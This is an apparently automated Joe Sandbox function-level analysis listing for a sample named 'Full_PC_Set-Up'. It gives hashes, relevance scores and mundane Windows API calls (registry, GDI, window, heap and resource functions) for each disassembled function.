Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Exception@8FormatFreeH_prolog3LocalMessageThrow_malloc
String ID:
API String ID: 1776251131-0
Opcode ID: b8a3d50a3b8bf7a14fec9d714639cb92e39b28e5cc62befdcf96c63a62cfe69b
Instruction ID: 55f4516bc8b9a47cdf0fd38b1fb7ac4d12d0ea6b1ab40d57ebdb5ea48e84f861
Opcode Fuzzy Hash: b8a3d50a3b8bf7a14fec9d714639cb92e39b28e5cc62befdcf96c63a62cfe69b
Instruction Fuzzy Hash: DD119A75600209AFDF06AFA4CC05EAD3BB9FF88310F24C529F5299A2A4DB318911DB55

Function 0036D69A Relevance: 6.1, APIs: 4, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegSetValueExW.ADVAPI32(00000000,5EBD7D5F,00000000,00000004,?,00000004,?,?,00000000,?), ref: 0036D6D5
RegCloseKey.ADVAPI32(00000000,?,00000000,?), ref: 0036D6DE
swprintf.LIBCMT ref: 0036D6FB
WritePrivateProfileStringW.KERNEL32(?,5EBD7D5F,?,?), ref: 0036D70C

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: ClosePrivateProfileStringValueWriteswprintf
String ID:
API String ID: 22681860-0
Opcode ID: f87e77a3315e2df47e6a2bb2aff9cd17951e0aeda59251c13787ce26af04a987
Instruction ID: 5df04d8deecf00cf3fbe75e77873a900bfcff3f092619ae7f2d39a373284fc50
Opcode Fuzzy Hash: f87e77a3315e2df47e6a2bb2aff9cd17951e0aeda59251c13787ce26af04a987
Instruction Fuzzy Hash: 0E01C072A01309BBCB21AF648C86FAE77BCEF48704F154426FA01E7281DA74ED1597A5

Function 003A8460 Relevance: 6.1, APIs: 4, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetIconInfo.USER32(?,?), ref: 003A8483
GetObjectW.GDI32(?,00000018,?), ref: 003A8499
DeleteObject.GDI32(?), ref: 003A84D0
DeleteObject.GDI32(?), ref: 003A84DB

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Object$Delete$IconInfo
String ID:
API String ID: 507670407-0
Opcode ID: d7de930efe6d0b1b990ad8ef28b1001d77deb3245601c26448d0a2031b01fb47
Instruction ID: 30ec40e51eeef34eb46cdd37af664bf99f22c4dc982d1f311c23bccb089f5d88
Opcode Fuzzy Hash: d7de930efe6d0b1b990ad8ef28b1001d77deb3245601c26448d0a2031b01fb47
Instruction Fuzzy Hash: 50115E747013039BD724DF2AC944A5BB7E8FF88704F05881DF884D3240EB74E8048B92

Function 003023B0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(?), ref: 003023EE
~_Task_impl.LIBCPMT ref: 00302422
~_Task_impl.LIBCPMT ref: 00302432
~_Task_impl.LIBCPMT ref: 00302442

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Task_impl$DeleteObject
String ID:
API String ID: 2046206804-0
Opcode ID: e681b2f6a538c8f77989c3b4ee7da66f4ed837e0641846638ef518f47905f58a
Instruction ID: 3bb69bdc9d4e8796ff754db6e403ad88dad1a4da7366401245a2efdb12b336f9
Opcode Fuzzy Hash: e681b2f6a538c8f77989c3b4ee7da66f4ed837e0641846638ef518f47905f58a
Instruction Fuzzy Hash: 8E11D3342097418FD326DF28C855B9BBBD4EF55B14F04490EE496473D1DB75A908CBA3

Function 002D72B0 Relevance: 6.1, APIs: 4, Instructions: 52windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 002D72CB

Part of subcall function 0036FF51: SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 0036FF5D

SendMessageW.USER32(?,00001200,00000000,00000000), ref: 002D72E9
InvalidateRect.USER32(?,?,00000001,?,00000000,00000000,?), ref: 002D731E
UpdateWindow.USER32(?), ref: 002D7328

Part of subcall function 0036E0D6: SendMessageW.USER32(?,0000100E,75C05540,?), ref: 0036E0EF

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MessageSend$InvalidateRectUpdateWindow
String ID:
API String ID: 464723990-0
Opcode ID: 1113d31b32e37937671222523679cd1ac0aac571d79d4e0cee4a197741a5cf9a
Instruction ID: f571f980695e874216563793f1d6efc250855c4d5d9b16dcb05a7fa214548e32
Opcode Fuzzy Hash: 1113d31b32e37937671222523679cd1ac0aac571d79d4e0cee4a197741a5cf9a
Instruction Fuzzy Hash: 8C0120342907007BD32097609C87F7F33A8AB98B00F60855DFB554A2C1F6B4FC109755

Function 003659E3 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

GetTopWindow.USER32(00000000), ref: 003659F3
GetTopWindow.USER32(00000000), ref: 00365A32
GetWindow.USER32(00000000,00000002), ref: 00365A50

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: 2a7cf7efa626114ffd68b02d4c262ac176928c763f7ce791b18013ad7882cdca
Instruction ID: 114769037d79b91a8a1d2506574658ca800b520f80b8d7b2bd91a0ee602929b5
Opcode Fuzzy Hash: 2a7cf7efa626114ffd68b02d4c262ac176928c763f7ce791b18013ad7882cdca
Instruction Fuzzy Hash: E501D73200195AFBCF13AF91DC05E9E3B6AAF49350F058221FA1455025C736C971EBA5

Function 0029F290 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 0029F2A1
ScreenToClient.USER32(?,?), ref: 0029F2B0

Part of subcall function 00363669: GetScrollPos.USER32(?,?), ref: 0036368A

Part of subcall function 0029F190: PtInRect.USER32 ref: 0029F222

LoadCursorW.USER32(?,00000082), ref: 0029F2F8
SetCursor.USER32(00000000,?,00000000,?,00000000), ref: 0029F2FF

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Cursor$ClientLoadRectScreenScroll
String ID:
API String ID: 881361942-0
Opcode ID: 877d130195b6fb7fc031a6a9d2a0cd9cf3dfe8bb6729f3f5530f2ea8b2b47f3e
Instruction ID: fce0a6db2f63bc63b5847e269109c700b9afb9388012fe1e5a8b8aa875bc62cf
Opcode Fuzzy Hash: 877d130195b6fb7fc031a6a9d2a0cd9cf3dfe8bb6729f3f5530f2ea8b2b47f3e
Instruction Fuzzy Hash: 2D0192716143009BC254FF68DC45E6BB7ECEF84310F00862EF945C7251DA30D9508BE6

Function 0038E7B5 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0038E7C1

Part of subcall function 0038B103: __getptd_noexit.LIBCMT ref: 0038B106
Part of subcall function 0038B103: __amsg_exit.LIBCMT ref: 0038B113

__amsg_exit.LIBCMT ref: 0038E7E1
InterlockedDecrement.KERNEL32(?), ref: 0038E80E
InterlockedIncrement.KERNEL32(00580430), ref: 0038E839

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit
String ID:
API String ID: 1215512516-0
Opcode ID: 6bec5d35430bc87298857d1c9821090c118f3bdc56677a76db982dafc3b58641
Instruction ID: 3a590171429aca832498bd23d8ac24cec624a01d55d4635c39adfa82b9056f93
Opcode Fuzzy Hash: 6bec5d35430bc87298857d1c9821090c118f3bdc56677a76db982dafc3b58641
Instruction Fuzzy Hash: CD019231901722DBCB53BB65980975DB7A0BF04B20F16109AFC147B6D0CB346989DFD5

Function 0038319F Relevance: 6.0, APIs: 4, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

___sbh_find_block.LIBCMT ref: 003831C8
___sbh_free_block.LIBCMT ref: 003831D7
HeapFree.KERNEL32(00000000,?,00564070,0000000C,0038B0F4,00000000,?,?,00388F33,00383A97,00000000,?,00361C9B,?,00000000), ref: 00383207
GetLastError.KERNEL32(?,?,00388F33,00383A97,00000000,?,00361C9B,?,00000000,?,002EBF38,00000090,5EBD7D5F), ref: 00383218

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: ErrorFreeHeapLast___sbh_find_block___sbh_free_block
String ID:
API String ID: 2661975262-0
Opcode ID: e302e7d8660ed3788966d8ab79cd355e4844541fc71e06f97fdab15ac5c8634c
Instruction ID: eef4cf9a09c1d31066838afae4864d0059b48b3a566c29ded9a0b6dd922ee7cf
Opcode Fuzzy Hash: e302e7d8660ed3788966d8ab79cd355e4844541fc71e06f97fdab15ac5c8634c
Instruction Fuzzy Hash: 1B018631D09316ABDF227BB1AC0EB5E7B65AF01B61F204195F504AE1D2CF749B408F69

Function 003A4250 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 003A4264
GetWindowRect.USER32(?,?), ref: 003A4274
GetWindowRect.USER32(?,?), ref: 003A4286

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Window$Rect
String ID:
API String ID: 3200805268-0
Opcode ID: 67de9ccd75d58b332488de4adb6e6ffde7a7f23c30df7be1fdd062c6f277c899
Instruction ID: 5e6791d225354be7008d1851f768248855da50b9444774ddca3b1360d8ae56e6
Opcode Fuzzy Hash: 67de9ccd75d58b332488de4adb6e6ffde7a7f23c30df7be1fdd062c6f277c899
Instruction Fuzzy Hash: 17F0A73BB05520574622576AEC08D9BB7B8EBDB761306083BFA41D3600C664DC1286B5

Function 003A42E0 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 003A42F4
GetClientRect.USER32(?,?), ref: 003A4304
GetClientRect.USER32(?,?), ref: 003A4316

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: ClientRect$Window
String ID:
API String ID: 3937109810-0
Opcode ID: 8ad978a907397065c8ad2a0f91be411b85c47e734728195be481835d7003c304
Instruction ID: 5717348ab98cc26b55e47be88a74fffb99dbcf31ad593189059067f320402e8a
Opcode Fuzzy Hash: 8ad978a907397065c8ad2a0f91be411b85c47e734728195be481835d7003c304
Instruction Fuzzy Hash: 01F0A77BB01621574A22572EAC08D9B77B8EBDA732306083BFA41D3600C770DC6287F5

Function 003A7590 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,?,00000002,?,003ACB79,?,?,?,?,?,?,?,?), ref: 003A759D
LoadResource.KERNEL32(?,00000000,?,?,?,?,?,?,?,?), ref: 003A75AD
LockResource.KERNEL32(00000000,?,?,?,?,?,?,?,?), ref: 003A75BA
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 003A75D2

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 19f05ea4881e7bd33586dbe17d779016b5a05cfb07499e4a2510914b31ceee3d
Instruction ID: cc385b48e1b355e75bb7bad74f2f338f2b9a1ba9ed9edab6cb2c5f2e66232bd1
Opcode Fuzzy Hash: 19f05ea4881e7bd33586dbe17d779016b5a05cfb07499e4a2510914b31ceee3d
Instruction Fuzzy Hash: C4F065366162216BD7111738BC0CAAF27ACEFC6751B0A8536F801D3150DBA0CD5146E6

Function 003F4DA0 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003F4DA8
_memset.LIBCMT ref: 003F4DB5
_memset.LIBCMT ref: 003F4DC5
_memset.LIBCMT ref: 003F4DD5

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 6bf690f8a0b1601002ec1d848e7365f9db66adc068a89228872a67c0ee01e176
Instruction ID: 11260eae115e0be3c0c63eba4ce54b4a4232665190003db357ef59a9bd7b53b0
Opcode Fuzzy Hash: 6bf690f8a0b1601002ec1d848e7365f9db66adc068a89228872a67c0ee01e176
Instruction Fuzzy Hash: 9AE0EC7AB84F10F6F172BA70AC47FD663584B08B80F95595C73197E0C1AAEEB50483D9

Function 003D8690 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 319COMMON

Download Yara Rule

Strings

1.2.40, xrefs: 003D871E

Memory Dump Source

